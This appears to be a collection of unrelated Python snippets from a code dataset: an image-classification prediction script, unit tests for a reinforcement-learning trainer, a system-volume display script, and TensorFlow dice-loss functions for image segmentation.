save_df.to_csv(save_fp, index=False, encoding='utf-8')
if __name__ == '__main__':
img_type = "png"
root_dir = os.path.abspath(".")
fp_cnn_model = os.path.join(root_dir, "models", "model_bmus.h5")
bmus_dir = os.path.join(root_dir, "data", "bmus")
save_dir = os.path.join(root_dir, "res")
if not os.path.exists(save_dir):
os.makedirs(save_dir)
print(save_dir)
cnn_model = load_model(fp_cnn_model)
predict_imgs_from_dir(
in_model=cnn_model,
in_src_dir=bmus_dir,
img_type=img_type,
in_save_dir=save_dir)
|
import unittest
import gym
from tf2rl.algos.ddpg import DDPG
from tf2rl.experiments.trainer import Trainer
class TestTrainer(unittest.TestCase):
def test_empty_args(self):
"""
Test empty args {}
"""
env = gym.make("Pendulum-v0")
test_env = gym.make("Pendulum-v0")
policy = DDPG(state_shape=env.observation_space.shape,
action_dim=env.action_space.high.size,
gpu=-1,
memory_capacity=1000,
max_action=env.action_space.high[0],
batch_size=32,
n_warmup=10)
Trainer(policy, env, {}, test_env=test_env)
def test_with_args(self):
"""
Test with args
"""
max_steps = 400
env = gym.make("Pendulum-v0")
test_env = gym.make("Pendulum-v0")
policy = DDPG(state_shape=env.observation_space.shape,
action_dim=env.action_space.high.size,
gpu=-1,
memory_capacity=1000,
max_action=env.action_space.high[0],
batch_size=32,
n_warmup=10)
trainer = Trainer(policy, env, {"max_steps": max_steps}, test_env=test_env)
self.assertEqual(trainer._max_steps, max_steps)
def test_invalid_args(self):
"""
Test with invalid args
"""
env = gym.make("Pendulum-v0")
test_env = gym.make("Pendulum-v0")
policy = DDPG(state_shape=env.observation_space.shape,
action_dim=env.action_space.high.size,
gpu=-1,
memory_capacity=1000,
max_action=env.action_space.high[0],
batch_size=32,
n_warmup=10)
with self.assertRaises(ValueError):
Trainer(policy, env, {"NOT_EXISTING_OPTIONS": 1}, test_env=test_env)
if __name__ == "__main__":
unittest.main()
|
import re
import subprocess
output = subprocess.check_output("amixer -D pulse get Master", shell=True)
volume = re.search(r'\[(?P<volume>\d+%)\]', str(output)).group('volume')
custom_volume = int(volume.replace('%', ''))
if custom_volume >= 80 and custom_volume <= 100:
print(f'volume {volume}')
elif custom_volume >= 60 and custom_volume <= 79:
print(f'volume 墳{volume}')
elif custom_volume >= 40 and custom_volume <= 59:
print(f'volume {volume}')
elif custom_volume >= 20 and custom_volume <= 39:
print(f'volume 奔{volume}')
elif custom_volume >= 10 and custom_volume <= 19:
print(f'volume {volume}')
elif custom_volume > 0 and custom_volume < 10:
print(f'volume ﱝ{volume}')
elif custom_volume == 0:
print(f'volume ﱝ {volume}')
|
# -*- coding: utf-8 -*-
"""
Created on Fri Jun 22 14:12:48 2018
@author: LiHongWang
"""
import tensorflow as tf
def dice_coe(output, target, loss_type='jaccard', axis=(1, 2, 3), smooth=1e-5):
"""Soft dice (Sørensen or Jaccard) coefficient for comparing the similarity
of two batch of data, usually be used for binary image segmentation
i.e. labels are binary. The coefficient between 0 to 1, 1 means totally match.
Parameters
-----------
output : Tensor
A distribution with shape: [batch_size, ....], (any dimensions).
target : Tensor
The target distribution, format the same with `output`.
loss_type : str
``jaccard`` or ``sorensen``, default is ``jaccard``.
axis : tuple of int
All dimensions are reduced, default ``[1,2,3]``.
smooth : float
This small value will be added to the numerator and denominator.
- If both output and target are empty, it makes sure dice is 1.
- If either output or target are empty (all pixels are background), dice = ```smooth/(small_value + smooth)``, then if smooth is very small, dice close to 0 (even the image values lower than the threshold), so in this case, higher smooth can have a higher dice.
Examples
---------
>>> outputs = tl.act.pixel_wise_softmax(network.outputs)
>>> dice_loss = 1 - tl.cost.dice_coe(outputs, y_)
References
-----------
- `Wiki-Dice <https://en.wikipedia.org/wiki/Sørensen–Dice_coefficient>`__
"""
inse = tf.reduce_sum(output * target, axis=axis)
if loss_type == 'jaccard':
l = tf.reduce_sum(output * output, axis=axis)
r = tf.reduce_sum(target * target, axis=axis)
elif loss_type == 'sorensen':
l = tf.reduce_sum(output, axis=axis)
r = tf.reduce_sum(target, axis=axis)
else:
raise Exception("Unknow loss_type")
dice = (2. * inse + smooth) / (l + r + smooth)
dice = tf.reduce_mean(dice)
return dice
#def dice_coeff(y_true, y_pred):
# smooth = 1.
# y_true_f = K.flatten(y_true)
# y_pred_f = K.flatten(y_pred)
# intersection = K.sum(y_true_f * y_pred_f)
# score = (2. * intersection + smooth) / (K.sum(y_true_f) + K.sum(y_pred_f) + smooth)
# return score
#
#
#def dice_loss(y_true, y_pred):
# loss = 1 - dice_coeff(y_true, y_pred)
# return loss
#
#
#def bce_dice_loss(y_true, y_pred):
# loss = binary_crossentropy(y_true, y_pred) + dice_loss(y_true, y_pred)
# return loss
def diceCoeff(label,logit,smooth=1.0):
intersection = tf.sum(label * logit)
score=(2.*intersection+smooth)/(tf.sum(label)+tf.sum(logit)+smooth)
return score
def diceLoss(label,logit):
loss = 1 - diceCoeff(label, logit)
return loss
def bceDiceLoss(label, logit):
loss = tf.nn.sparse_softmax_cross_entropy_with_logits(logit,label) \
+diceLoss(label,logit)
return loss
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.